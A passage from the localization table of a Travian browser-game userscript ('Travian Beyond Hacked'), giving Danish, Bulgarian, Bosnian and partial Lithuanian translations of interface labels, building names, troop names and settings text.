'centrering på kortet',\n\t'ALDEA_EXTRA4': 'Vis Global på landsby',\n\t'ALDEA_EXTRA5': 'centrering om landsby',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Placering på Travmap',\n\t'ADD_ALL': 'for alle ',\n\t'DEMO': 'Hovedbygning',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'afstand og tid',\n\t'TAB1': 'For placering på Travmap (rød), din Adskil flere alliancer med et komma. (Ex: A, B, C)',\n\t'TAB2': 'Rediger sine bogmærker',\n\t'TAB3': 'Notepad',\n\t'TAB4': 'Price Sales Market',\n\t'TAB5': 'Info tabellen: (0 eller 1)',\n\t'TAB6': 'Info tabellen bygninger (0 eller 1)',\n\t'TAB7': 'Visning meter depositum (0 eller 1)',\n\t'TAB8': 'Bogmærker build.admin (0 eller 1)',\n\t'TAB9': 'Bogmærker build.military (0 eller 1)',\n\t'TAB10': 'Bogmærker build.for forbedring (0 eller 1)',\n\t'TAB11': 'Bogmærker Custom (0 eller 1)',\n\t'TAB12': 'Vis bogmærker',\n\t'TAB13': 'Vis Info TSU (0 eller 1)',\n\t'TAB13B': 'Vis Info Travian World Analyzer (0 eller 1)',\n\t'TAB14': 'Vis Info Travian-search (0 eller 1)',\n\t'TAB15': 'Vis N ° på bygningen (0 eller 1)',\n\t'TAB16': 'Vis indholdet af meddelelser (0 eller 1)',\n\t'TAB17': 'Vis notesblok af budskaber (0 eller 1)',\n\t'TAB18': 'Show Info Travmap (0 or 1)',\n\t'TAB19': 'Bogmærker opbygge. Town Hall (0 eller 1)',\n\t'TAB20': 'Forenkling af den liste med links til venstre (0 eller 1)',\n\t'TAB21': 'Forenkling af resumé af landsbyer (0 eller 1)',\n\t'TAB22': 'repositionere resuméet af landsbyer (0 eller 1)',\n\t'TAB23': 'Angreb: Raid / Angreb: Normal (0 eller 1)',\n\t'TAB24': 'repositionere af måleraflæsning depositum (0 eller 1)',\n\t'TAB25': 'Vis samlede antal tropper i landsbyen (Rallypoint) (0 eller 1)',\n\t'TAB26': 'Vis oversigt landsby tabellen (0 eller 1)',\n\t'TAB27': 'Image server private : 0<br>Image server travian : 1',\n\t'CLEAN': ' Clean',\n\t'PAL': 'Palads',\n\t'RESI': 'Residens',\n\t'MAN': 'Heltegården',\n\t'USI': 'Rustningssmedje',\n\t'ARM': 'våbensmedje',\n\t'HOT': 'rådhus',\n\t'IGMTITLE': 'Emne',\n\t'IGMSENTER': 'afsteder',\n\t'IGMDATE': 'dag',\n\t'IGMTIME': 'tid',\n\t'IGMOUTPUT': 'Vis indholdet af breve',\n\t'MAXTIME': 'Max tid',\n\t'LOGIN': 'Login',\n\t'TT': 'Total view',\n\t'RESS': 'Betyder',\n\t'DEP': 'Råstoflager',\n\t'PC': 'CP',\n\t'TROP': 'Enheder',\n\t'MINI': 'lille',\n\t'ATT': 'Angreb',\n\t'CONS': 'Bygning',\n\t'FT': 'Fest',\n\t'FT1': 'lille fest',\n\t'FT2': 'stor fest',\n\t'EXT': 'Udvidelse',\n\t'IN': 'in',\n\t'JUGADOR': 'Spiller',\n\t'HAB': 'Indbygger',\n\t'COORD': 'Coords',\n\t'ACCION': 'Angreb',\n\t'MAPSCAN': 'Scan Map',\n\t'AID': 'Hjælp',\n\t'VITS': 'Speed',\n\t'CAPA': 'Kapacitet',\n\t'DIST': 'Afstand',\n\t'MP': 'Til bogmærker ',\n\t'UPDATE_CHECK': 'Bekræft Version',\n\t'LAST_VERSION': 'Du bruger den seneste version',\n\t'NEW_VERSION': 'Der er en ny version tilrådig',\n\t'UPDATE_NOW': 'Update nu',\n\t'R1': 'Legionær', // Romans\n\t'R2': 'Prætorianer',\n\t'R3': 'Imperianer',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Rambuk',\n\t'R8': 'Brandkatapult',\n\t'R9': 'Senator',\n\t'R10': 'Bosætter',\n\t'T1': 'Køllesvinger', // Teutons\n\t'T2': 'Spydkæmper',\n\t'T3': 'Øksekæmper',\n\t'T4': 'Spejder',\n\t'T5': 'Paladin',\n\t'T6': 'Teutonrytter',\n\t'T7': 'Rambuk',\n\t'T8': 'Katapult',\n\t'T9': 'Stammefører',\n\t'T10': 'Bosætter',\n\t'G1': 'Falanks', // Gauls\n\t'G2': 'Sværdkæmper',\n\t'G3': 'Spion',\n\t'G4': 'Theutaterlyn',\n\t'G5': 'Druiderytter',\n\t'G6': 'Haeduaner',\n\t'G7': 'Rambuktræ',\n\t'G8': 'Krigskatapult',\n\t'G9': 'Høvding',\n\t'G10': 'Bosætter',\n\t'N1': 'Rotte', // Nature\n\t'N2': 'Edderkop',\n\t'N3': 'Slange',\n\t'N4': 'Flagermus',\n\t'N5': 'Vildsvin',\n\t'N6': 'Ulv',\n\t'N7': 'Bjørn',\n\t'N8': 'Krokodille',\n\t'N9': 'Tiger',\n\t'N10': 'Elefant',\n\t'LVL': 'Trin',\t\t\t// Very important\n\t'MARC': 'handelsmænd',\t\t// Very important\n\t'TOTAL': 'Alt',\n\t'WASTED_SPACE': 'Wasted Space',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important (0/1)',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text'\n\t}\n\tbreak;\n\tcase \"bg\":\t\t// Bulgarian translation by Peh\n\tvar newLang = {\n\t'ALIANZA': 'Клан',\n\t'SIM': 'Симулатор',\n\t'SEGURO': 'Сигурни ли сте?',\n\t'MARK': 'Избери всичко',\n\t'PERDIDAS': 'Загуби',\n\t'RENT': 'Приход',\n\t'SUBIR_NIVEL': 'Възможно надстрояване',\n\t'ALDEA': 'Град',\n\t'ATACAR': 'Атака',\n\t'COMERCIAR': 'Изпрати ресурси',\n\t'GUARDADO': 'Записано',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Трябват',\n\t'HOY': 'днес',\n\t'MANYANA': 'утре',\n\t'PAS_MANYANA': 'в други ден',\n\t'MERCADO': 'Пазар',\n\t'CUARTEL': 'Казарма',\n\t'PUNTO': 'Сборен пункт',\n\t'CORRAL': 'Конюшня',\n\t'TALLER': 'Работиница',\n\t'ENVIAR': 'Изпрати ресурси',\n\t'COMPRAR': 'Купи',\n\t'VENDER': 'Продай',\n\t'ENVIAR_IGM': 'Изпрати IGM',\n\t'LISTO': 'Налични',\n\t'EL': 'на',\n\t'A_LAS': 'в',\n\t'EFICIENCIA': 'Ефективност',\n\t'NUNCA': 'Никога',\n\t'PC': 'точки културно развитие',\n\t'FUNDAR': 'Можете да основете или завземете ново село',\n\t'TIEMPO': 'Време',\n\t'STAT': 'Статистика',\n\t'OFREZCO': 'Предлага',\n\t'BUSCO': 'Търси',\n\t'TIPO': 'Вид',\n\t'CUALQUIERA': 'Всякакъв',\n\t'DISPONIBLE': 'Налични само',\n\t'SI': 'Да',\n\t'NO': 'Не',\n\t'MARCADORES': 'Отметки',\n\t'ANYADIR': 'Добави',\n\t'ENLACE': 'URL на новата отметка',\n\t'TEXTO': 'Текст на новата отметка',\n\t'ARCHIVE': 'Архивирай',\n\t'ELIMINAR': 'Изтрий',\n\t'ACTUALIZAR': 'презареди',\n\t'REFRESH_INFORMARION': 'Презареди инфо',\n\t'RESUMEN': 'Общо',\n\t'RECURSO1': 'Дърво',\n\t'RECURSO2': 'Глина',\n\t'RECURSO3': 'Желязо',\n\t'RECURSO4': 'Жито',\n\t'ALDEA_EXTRA1': 'Изпрати войска',\n\t'ALDEA_EXTRA2': 'Изпрари ресурси',\n\t'ALDEA_EXTRA3': 'Центрирай на картата',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Центрирай върху селото',\n\t'ALDEA_EXTRA6': 'TSU информация',\n\t'ALDEA_EXTRA6B': 'Travian World Analyzer информация',\n\t'ALDEA_EXTRA7': 'Информация от Travian-search',\n\t'ALDEA_EXTRA8': 'Местонахождение на Travmap',\n\t'ADD_ALL': 'За всички ',\n\t'DEMO': 'Главна сграда',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Разтояние и време',\n\t'TAB1': 'For location on Travmap (red), your Separate multiple alliances with a comma.(ex: A,B,C)',\n\t'TAB2': 'Редактирай отметките',\n\t'TAB3': 'Notepad',\n\t'TAB4': 'Price Sales Market',\n\t'TAB5': 'Show Info table means',\n\t'TAB6': 'Show Info table buildings',\n\t'TAB7': 'Show meter deposit',\n\t'TAB8': 'Show Bookmarks build.admin',\n\t'TAB9': 'Show Bookmarks build.military',\n\t'TAB10': 'Show Bookmarks build.for improvement',\n\t'TAB11': 'Show Bookmarks Custom',\n\t'TAB12': 'Show Bookmarks',\n\t'TAB13': 'Show Info TSU',\n\t'TAB13B': 'Show Info Travian World Analyzer',\n\t'TAB14': 'Show Info Travian-search',\n\t'TAB15': 'Show N° on building',\n\t'TAB16': 'Show the content of messages',\n\t'TAB17': 'Show notepad of messages',\n\t'TAB18': 'Show Info Travmap',\n\t'TAB19': 'Show Bookmarks build. Town Hall',\n\t'TAB20': 'Simplifying the list of links to the left',\n\t'TAB21': 'Simplifying the summary of villages',\n\t'TAB22': 'Reposition the summary of villages',\n\t'TAB23': 'Change Attack: Raid / Normal',\n\t'TAB24': 'Reposition of meter deposit',\n\t'TAB25': 'Show total numbers of troops in village (Rallypoint)',\n\t'TAB26': 'Display overview village table',\n\t'TAB27': 'Image server private : [ ]<br>Image server travian : [x]',\n\t'TAB28': 'Insert capital ID (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Show extended icons',\n\t'TAB30': 'Show Battle Analyse',\n\t'TAB31': 'Show BBcode Help',\n\t'CLEAN': ' Изчисти',\n\t'PAL': 'Дворец',\n\t'RESI': 'Резиденция',\n\t'MAN': 'Таверна',\n\t'USI': 'Ковачница за брони',\n\t'ARM': 'Ковачница за оръжия',\n\t'HOT': 'Кметство',\n\t'IGMTITLE': 'Тема',\n\t'IGMSENTER': 'изпратил',\n\t'IGMDATE': 'дата',\n\t'IGMTIME': 'час',\n\t'IGMOUTPUT': 'Покажи съдържанието на писмата',\n\t'MAXTIME': 'Макс време',\n\t'LOGIN': 'Влизане',\n\t'TT': 'Общ изглед',\n\t'RESS': 'Means',\n\t'DEP': 'Склад',\n\t'PC': 'КР',\n\t'TROP': 'Войски',\n\t'MINI': 'Mini',\n\t'ATT': 'Атаки',\n\t'CONS': 'Building',\n\t'FT': 'Празнество',\n\t'FT1': 'малко празненство',\n\t'FT2': 'голямо празненство',\n\t'EXT': 'Експанзия',\n\t'IN': 'във',\n\t'JUGADOR': 'Играч',\n\t'HAB': 'Популация',\n\t'COORD': 'Координати',\n\t'ACCION': 'Действия',\n\t'MAPSCAN': 'Сканирай картата',\n\t'AID': 'Помощ',\n\t'VITS': 'Скорост',\n\t'CAPA': 'Капацитет',\n\t'DIST': 'Разтояние',\n\t'MP': 'Добави отметка ',\n\t'UPDATE_CHECK': 'нова версия',\n\t'LAST_VERSION': 'Вие използвате последната версия',\n\t'NEW_VERSION': 'Има нова версия',\n\t'UPDATE_NOW': 'Обнови сега',\n\t'R1': 'Легионер', // Romans\n\t'R2': 'Преторианец',\n\t'R3': 'Империан',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Стенобойно Оръдие',\n\t'R8': 'Огнен катапулт',\n\t'R9': 'Сенатор',\n\t'R10': 'Заселник',\n\t'T1': 'Боец с боздуган', // Teutons\n\t'T2': 'Копиеносец',\n\t'T3': 'Боец с брадва',\n\t'T4': 'Съгледвач',\n\t'T5': 'Паладин',\n\t'T6': 'Тевтонски рицар',\n\t'T7': 'Таран',\n\t'T8': 'Катапулт',\n\t'T9': 'Предводител',\n\t'T10': 'Заселник',\n\t'G1': 'Фаланга', // Gauls\n\t'G2': 'Мечоносец',\n\t'G3': 'Следотърсач',\n\t'G4': 'Theutates Thunder',\n\t'G5': 'Друид конник',\n\t'G6': 'Хедуан',\n\t'G7': 'Таран',\n\t'G8': 'Требучет',\n\t'G9': 'Вожд',\n\t'G10': 'Заселник',\n\t'N1': 'Плъх', // Nature\n\t'N2': 'Паяк',\n\t'N3': 'Змия',\n\t'N4': 'Прилеп',\n\t'N5': 'Глиган',\n\t'N6': 'Вълк',\n\t'N7': 'Мечка',\n\t'N8': 'Крокодил',\n\t'N9': 'Тигър',\n\t'N10': 'Слон',\n\t'LVL': 'ниво',\n\t'MARC': 'Търговеца',\n\t'TOTAL': 'Общо',\n\t'WASTED_SPACE': 'Неизползван капацитет',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Important',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Text',\n\t'SAVEREPORT': 'запиши доклада',\n\t'ANONYMIZE': 'анонимизирай',\n\t'LBA0':'Общо атака',\n\t'LBA2':'Общо защита срещу пехота',\n\t'LBA3':'Общо защита срещу кавалерия',\n\t'LBA4':'Общите статистики',\n\t'LBA5':'Разлика в загубите',\n\t'LBA6':'Консумация',\n\t'LBA7':'Точки за героите',\n\t'LBA9':'Еквивалент на загубата в жито',\n\t'LBA10':'Номинална консумация на жито от армията',\n\t'LBA11':'Героя не беше',\n\t'LBA12':'Герой',\n\t'LBA13':'Количество на ограбените ресурси',\n\t'LBA14':'Максимален капацитет на оцелелите',\n\t'LBA15':'Атакуващ',\n\t'LBA16':'Защитник'\n\t}\n\tbreak;\n\tcase \"ba\": //bosnian translation\n\tvar newLang = {\n\t'ALIANZA': 'Alijansa',\n\t'SIM': 'simulator borbe',\n\t'SEGURO': 'Da li ste sigurni?',\n\t'MARK': 'Izaberi sve',\n\t'PERDIDAS': 'Izgubljeno resursa',\n\t'RENT': 'Profit',\n\t'SUBIR_NIVEL': 'Nadogradnja moguća',\n\t'ALDEA': 'Ime Sela',\n\t'ATACAR': 'Napad',\n\t'COMERCIAR': 'Pošalji resurse',\n\t'GUARDADO': 'Spašeno',\n\t'DESP_ABR': 'Pomjeri',\n\t'FALTA': 'Fali ti',\n\t'HOY': 'danas',\n\t'MANYANA': 'sutra',\n\t'PAS_MANYANA': 'prekosutra',\n\t'MERCADO': 'Pijaca',\n\t'CUARTEL': 'Кasarna',\n\t'PUNTO': 'Мjesto okupljanja',\n\t'CORRAL': 'Štala',\n\t'TALLER': 'Radionica',\n\t'ENVIAR': 'Pošalji resurse',\n\t'COMPRAR': 'Кupovina',\n\t'VENDER': 'Prodaja',\n\t'ENVIAR_IGM': 'Pošalji poruku',\n\t'LISTO': 'Spremno',\n\t'EL': 'za',\n\t'A_LAS': 'u',\n\t'EFICIENCIA': 'Efikasnost',\n\t'NUNCA': 'Nikad',\n\t'PC': 'kulturnih poena',\n\t'FUNDAR': 'Možete osvojiti ili osnovati novo selo',\n\t'TIEMPO': 'Vrijeme',\n\t'STAT': 'Statistika',\n\t'OFREZCO': 'Nudi',\n\t'BUSCO': 'Traži',\n\t'TIPO': 'Tip',\n\t'CUALQUIERA': 'Sve',\n\t'DISPONIBLE': 'Samo dostupno',\n\t'SI': 'Da',\n\t'NO': 'Ne',\n\t'MARCADORES': 'Linkovi',\n\t'ANYADIR': 'Dodaj',\n\t'ENLACE': 'URL novog linka',\n\t'TEXTO': 'Ime novog linka',\n\t'ARCHIVE': 'Аrhiva',\n\t'ELIMINAR': 'Obriši',\n\t'ACTUALIZAR': 'оsvježi',\n\t'REFRESH_INFORMARION': 'Osvježi informacije',\n\t'RESUMEN': 'Ukupno',\n\t'RECURSO1': 'drvo',\n\t'RECURSO2': 'glina',\n\t'RECURSO3': 'željezo',\n\t'RECURSO4': 'žito',\n\t'ALDEA_EXTRA1': 'Pošalji vojsku',\n\t'ALDEA_EXTRA2': 'Pošalji resurse',\n\t'ALDEA_EXTRA3': 'Centriraj kartu ovdje',\n\t'ALDEA_EXTRA4': 'Vidi selo',\n\t'ALDEA_EXTRA5': 'Centriraj kartu ovdjeе',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Lokacija na Travmap',\n\t'ADD_ALL': 'Za sve ',\n\t'DEMO': 'Glavna zgrada',\n\t'FRIGO': 'Neaktivni',\n\t'TOOLS': 'Daljine i vremena',\n\t'TAB1': 'Za prikaz na Travmap možete razdvojiti više alijansi zarezom (npr: A,B,C)',\n\t'TAB2': 'Еdituj linkove',\n\t'TAB3': 'Bilježnica',\n\t'TAB4': 'Prodajne cijene na pijaci',\n\t'TAB5': 'Info nadogradnje resursa',\n\t'TAB6': 'Info nadogradnje građevine',\n\t'TAB7': 'Vrijeme punjenja/pražnjenja skladišta/silosa',\n\t'TAB8': 'Linkovi na administrativne građevine',\n\t'TAB9': 'Linkovi na vojne građevine',\n\t'TAB10': 'Linkovi na građevine za unapređenje',\n\t'TAB11': 'Prilagođeni linkovi',\n\t'TAB12': 'Prikaži linkove',\n\t'TAB13': 'Prikaži info TSU',\n\t'TAB13B': 'Prikaži info Travian World Analyzer',\n\t'TAB14': 'Prikaži info Travian-search',\n\t'TAB15': 'Prikaži stepen građevine',\n\t'TAB16': 'Prikaži sadržaj poruka',\n\t'TAB17': 'Prikaži bilježnicu',\n\t'TAB18': 'Prikaži info Travmap',\n\t'TAB19': 'Link na Opštinu',\n\t'TAB20': 'Pojednostavi listu linkova na lijevoj strani',\n\t'TAB21': 'Pojednostavi ukupni pregled sela',\n\t'TAB22': 'Premjesti ukupni pregled sela',\n\t'TAB23': 'Pljačka / Napad',\n\t'TAB24': 'Premjesti vrijeme punjenja/pražnjenja',\n\t'TAB25': 'Prikaži ukupan broj trupa iz sela (mjesto okupljanja)',\n\t'TAB26': 'Prikaži pregled sela',\n\t'TAB27': 'Slike sa privatnog servera : [ ]<br>Slike sa travian servera : [x]',\n\t'TAB28': 'Unesi ID glavnog grada ID (npr: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Prikaži dodatne ikone',\n\t'TAB30': 'Prikaži analizu bitke',\n\t'TAB31': 'Prikaži pomoć za BBCode',\n\t'TAB32': 'Prikaži stepen polja/rudnika',\n\t'TAB33': 'Prikaži NPC pomoć',\n\t'TAB34': 'Prikaži brzi izvještaj',\n\t'TAB35': 'Odredi brzinu jedinica za prozor sа daljinama (npr. za senatora: 4)',\n\t'CLEAN': ' Izbriši',\n\t'PAL': 'Dvorac',\n\t'RESI': 'Rezidencija',\n\t'MAN': 'Herojska vila',\n\t'USI': 'Kovačnica oklopa',\n\t'ARM': 'Коvačnica oružja',\n\t'HOT': 'Оpština',\n\t'IGMTITLE': 'Тema',\n\t'IGMSENTER': 'Pošiljalac',\n\t'IGMDATE': 'datum',\n\t'IGMTIME': 'vrijeme',\n\t'IGMOUTPUT': 'Prikaži sadržaj poruka',\n\t'MAXTIME': 'Мaksimalno vrijeme',\n\t'LOGIN': 'Ime',\n\t'TT': 'Pregled',\n\t'RESS': 'Resursi',\n\t'DEP': 'Skladište',\n\t'PC': 'KP',\n\t'TROP': 'Vojska',\n\t'MINI': 'Мini',\n\t'ATT': 'Napad',\n\t'CONS': 'Izgradnja',\n\t'FT': 'Zabave',\n\t'FT1': 'Mala zabava',\n\t'FT2': 'Velika zabava',\n\t'EXT': 'Proširenje',\n\t'IN': '',\n\t'JUGADOR': 'Igrač',\n\t'HAB': 'Stanovništvo',\n\t'COORD': 'Koordinate',\n\t'ACCION': 'Аkcija',\n\t'MAPSCAN': 'Pretraži mapu',\n\t'AID': 'Pomoć',\n\t'VITS': 'Brzina',\n\t'CAPA': 'Kapacitet',\n\t'DIST': 'Daljina',\n\t'MP': 'Dodaj u linkove',\n\t'UPDATE_CHECK': 'Provjeri verziju',\n\t'LAST_VERSION': 'Koristite posljednju verziju',\n\t'NEW_VERSION': 'Nova verzija je dostupna',\n\t'UPDATE_NOW': 'Unaprijedi odmah',\n\t'R1': 'Legionar', // Romans\n\t'R2': 'Pretorijanac',\n\t'R3': 'Imperijanac',\n\t'R4': 'Equites Legati',\n\t'R5': 'Equites Imperatoris',\n\t'R6': 'Equites Caesaris',\n\t'R7': 'Ratni ovan',\n\t'R8': 'Vatreni katapult',\n\t'R9': 'Senator',\n\t'R10': 'Naseljenik',\n\t'T1': 'Batinar',\t// Teutons\n\t'T2': 'Кopljanik',\n\t'T3': 'Borac sa sjekirom',\n\t'T4': 'Izviđač',\n\t'T5': 'Paladin',\n\t'T6': 'Teutonski vitez',\n\t'T7': 'Оvan',\n\t'T8': 'Каtapult',\n\t'T9': 'Poglavica',\n\t'T10': 'Naseljenik',\n\t'G1': 'Falanga',\t// Gauls\n\t'G2': 'Мačevalac',\n\t'G3': 'Izviđač',\n\t'G4': 'Teutateov grom',\n\t'G5': 'Druidski jahač',\n\t'G6': 'Heduan',\n\t'G7': 'Оvan',\n\t'G8': 'Каtapult',\n\t'G9': 'Starješina',\n\t'G10': 'Naseljenik',\n\t'N1': 'Pacov',\t// Nature\n\t'N2': 'Pauk',\n\t'N3': 'Zmija',\n\t'N4': 'Slijepi miš',\n\t'N5': 'Divlja svinja',\n\t'N6': 'Vuk',\n\t'N7': 'Мeđed',\n\t'N8': 'Кrokodil',\n\t'N9': 'Тigar',\n\t'N10': 'Slon',\n\t'LVL': 'Stepen',\t\t// Very important\n\t'MARC': 'Тrgovac',\t\t// Very important\n\t'TOTAL': 'Ukupno',\n\t'WASTED_SPACE': 'Neiskorišteno',\n\t'TBH_SETUP_I': 'Travian Beyond Hacked : Važno (0/1)',\n\t'TBH_SETUP_T': 'Travian Beyond Hacked : Tekst',\n\t'SAVEREPORT': 'Spasi izvještaj',\n\t'ANONYMIZE': 'Sakrij podatke',\n\t'LBA0':'Jačina napada',\n\t'LBA2':'Ukupna odbrana od pješadije',\n\t'LBA3':'Ukupna odbrana od konjice',\n\t'LBA4':'Statistika',\n\t'LBA5':'Оdnos gubitaka',\n\t'LBA6':'Potrošnja žita',\n\t'LBA7':'Iskustvo heroja',\n\t'LBA9':'Gubitak u žitu',\n\t'LBA10':'Potrošnja žita za ishranu vojske',\n\t'LBA11':'Heroj nije dobio ništa',\n\t'LBA12':'Heroj',\n\t'LBA13':'Кoličina opljačkanih resursa',\n\t'LBA14':'Маksimalna količina koju mogu da nose preživjeli',\n\t'LBA15':'Napadač',\n\t'LBA16':'Branilac',\n\t'LBA17': 'Kopiraj i otvori simulator bitke',\n\t'LBA18': 'Ubaci kopirano',\n\t'BBC': 'Кorisni BBkodovi',\n\t'BBC_B': 'Podebljano: [b]Теkst[/b]',\n\t'BBC_I': 'Коsо: [i]Теkst[/i]',\n\t'BBC_U': 'Podvučeno: [u]Теkst[/u]',\n\t'BBC_C': 'Centrirano: [c]Теkst[/c]',\n\t'BBC_COLOR': 'Boja: [color=blue]Тekst[/color] Tipp: You can use these too: color=#0000FF and #00F',\n\t'BBC_URL': 'Link: [url]http://url[/url] or [url=http://url]Naziv linka[/url]',\n\t'BBC_IMG': 'Slika: [img]URL[/img]',\n\t'THS0': 'Тrenutno iskustvo:',\n\t'THS1': 'Sljedeći nivo:',\n\t'THS2': 'Potrebno:'\n\t}\n\tbreak;\n\tcase \"lt\": // FDisk\n\tvar newLang = {\n\t'ALIANZA': 'Aljansas',\n\t'SIM': 'Mūšių simuliatorius',\n\t'SEGURO': 'Ar tikrai?',\n\t'MARK': 'Pažymėt visus',\n\t'PERDIDAS': 'Nuostoliai',\n\t'RENT': 'Pelnas',\n\t'SUBIR_NIVEL': 'Galima patobulinti',\n\t'ALDEA': 'Miesto pavadinimas',\n\t'ATACAR': 'Atakuoti',\n\t'COMERCIAR': 'Siųsti resursus',\n\t'GUARDADO': 'Išsaugotas',\n\t'DESP_ABR': 'Mov.',\n\t'FALTA': 'Tau reikia',\n\t'HOY': 'šiandien',\n\t'MANYANA': 'rytoj',\n\t'PAS_MANYANA': 'poryt',\n\t'MERCADO': 'Turgavietė',\n\t'CUARTEL': 'Kareivinės',\n\t'PUNTO': 'Susibūrimų vieta',\n\t'CORRAL': 'Stable',\n\t'TALLER': 'Workshop',\n\t'ENVIAR': 'Siųsti resursus',\n\t'COMPRAR': 'Pirkti',\n\t'VENDER': 'Parduotis',\n\t'ENVIAR_IGM': 'Send IGM',\n\t'LISTO': 'Galima statyti',\n\t'EL': 'on',\n\t'A_LAS': ':',\n\t'EFICIENCIA': 'Efektyvumas',\n\t'NUNCA': 'Niekada',\n\t'PC': 'kultūros taškai',\n\t'FUNDAR': 'You can found or conquer a new village',\n\t'TIEMPO': 'Laikas',\n\t'STAT': 'Statistika',\n\t'OFREZCO': 'Siūlo',\n\t'BUSCO': 'Ieško',\n\t'TIPO': 'Tipas',\n\t'CUALQUIERA': 'Betkas',\n\t'DISPONIBLE': 'Betkoks',\n\t'SI': 'Taip',\n\t'NO': 'Ne',\n\t'MARCADORES': 'Nuorodos',\n\t'ANYADIR': 'Pridėti',\n\t'ENLACE': 'Naujas URL',\n\t'TEXTO': 'Nauja žyma',\n\t'ARCHIVE': 'Archyvas',\n\t'ELIMINAR': 'Ištrinti',\n\t'ACTUALIZAR': 'perkrauti',\n\t'REFRESH_INFORMARION': 'atnaujinti',\n\t'RESUMEN': 'Statistika',\n\t'RECURSO1': 'Medis',\n\t'RECURSO2': 'Molis',\n\t'RECURSO3': 'Geležis',\n\t'RECURSO4': 'Grūdai',\n\t'ALDEA_EXTRA1': 'Siūsti karius',\n\t'ALDEA_EXTRA2': 'Siūsti resursus',\n\t'ALDEA_EXTRA3': 'Centruoti žemėlapį',\n\t'ALDEA_EXTRA4': 'View Global on village',\n\t'ALDEA_EXTRA5': 'Centering on village',\n\t'ALDEA_EXTRA6': 'Info TSU',\n\t'ALDEA_EXTRA6B': 'Info Travian World Analyzer',\n\t'ALDEA_EXTRA7': 'Info Travian-search',\n\t'ALDEA_EXTRA8': 'Location on Travmap',\n\t'ADD_ALL': 'For all ',\n\t'DEMO': 'Gyvenamasis pastatas',\n\t'FRIGO': 'Frigo',\n\t'TOOLS': 'Atstumas ir laikas',\n\t'TAB1': 'For location on Travmap (red), your Separate multiple alliances with a comma.(ex: A,B,C)',\n\t'TAB2': 'Edit its Bookmarks',\n\t'TAB3': 'Užrašinė',\n\t'TAB4': 'Price Sales Market',\n\t'TAB5': 'Show Info table means',\n\t'TAB6': 'Show Info table buildings',\n\t'TAB7': 'Show meter deposit',\n\t'TAB8': 'Show Bookmarks build.admin',\n\t'TAB9': 'Show Bookmarks build.military',\n\t'TAB10': 'Show Bookmarks build.for improvement',\n\t'TAB11': 'Show Bookmarks Custom',\n\t'TAB12': 'Show Bookmarks',\n\t'TAB13': 'Show Info TSU',\n\t'TAB13B': 'Show Info Travian World Analyzer',\n\t'TAB14': 'Show Info Travian-search',\n\t'TAB15': 'Show N° on building',\n\t'TAB16': 'Show the content of messages',\n\t'TAB17': 'Show notepad of messages',\n\t'TAB18': 'Show Info Travmap',\n\t'TAB19': 'Show Bookmarks build. Town Hall',\n\t'TAB20': 'Simplifying the list of links to the left',\n\t'TAB21': 'Simplifying the summary of villages',\n\t'TAB22': 'Reposition the summary of villages',\n\t'TAB23': 'Change Attack: Raid / Normal',\n\t'TAB24': 'Reposition of meter deposit',\n\t'TAB25': 'Show total numbers of troops in village (Rallypoint)',\n\t'TAB26': 'Display overview village table',\n\t'TAB27': 'Image server private : [ ]<br>Image server travian : [x]',\n\t'TAB28': 'Insert capital ID (ex: 13695)\\n<br>-> http://-/dorf1.php?newdid=13695',\n\t'TAB29': 'Show extended icons',\n\t'TAB30': 'Show Battle Analyse',\n\t'TAB31': 'Show BBcode Help',\n\t'TAB32': 'Show N° on means',\n\t'TAB33': 'Show NPC Helper',\n\t'TAB34': 'Show Quick Report',\n\t'TAB35': 'Speed of your unit for popups (ex for the senator: 4)',\n\t'CLEAN': ' Clean',\n\t'PAL': 'Palace',\n\t'RESI': 'Rezidencija',\n\t'MAN': 'Karžygio namai',\n\t'USI': 'Šarvų kalvė',\n\t'ARM': 'Blacksmith',\n\t'HOT': 'Town Hall',\n\t'IGMTITLE': 'Topic',\n\t'IGMSENTER': 'sender',\n\t'IGMDATE': 'data',\n\t'IGMTIME': 'laikas',\n\t'IGMOUTPUT': 'Show the contents of the letters',\n\t'MAXTIME': 'Maksimalus laikas',\n\t'LOGIN': 'Prisijungimas',\n\t'TT': 'Total view',\n\t'RESS': 'Means',\n\t'DEP': 'Warehouse',\n\t'PC': 'CP',\n\t'TROP': 'Kariai',\n\t'MINI': 'Mini',\n\t'ATT': 'Atakos',\n\t'CONS': 'Pastatas',\n\t'FT': 'Šventė',\n\t'FT1': 'maža šventė',\n\t'FT2': 'didelė šventė',\n\t'EXT': 'Extension',\n\t'IN': 'in',\n\t'JUGADOR': 'Žaidėjas',\n\t'HAB': 'Populiacija',\n\t'COORD': 'Koordinatės',\n\t'ACCION': 'Veiksmai',\n\t'MAPSCAN': 'Skanuoti žemėlapį',\n\t'AID': 'Pagalba',\n\t'VITS': 'Greitis',\n\t'CAPA': 'Talpa',\n\t'DIST': 'Atstumas',\n\t'MP': 'Įtraukti į adresyną',\n\t'UPDATE_CHECK': 'Atnaujinimai',\n\t'LAST_VERSION': 'Jūs naudojate naujasią versiją',\n\t'NEW_VERSION': 'Yra naujesnė versija',\n\t'UPDATE_NOW': 'Atnaujinti',\n\t'R1': 'Legionierius', // Romans\n\t'R2': 'Pretorionas',\n\t'R3': 'Imperionas',\n\t'R4': 'Raitieji legatas',\n\t'R5': 'Imperatoriaus raitelis',\n\t'R6': 'Cezario raitelis',\n\t'R7': 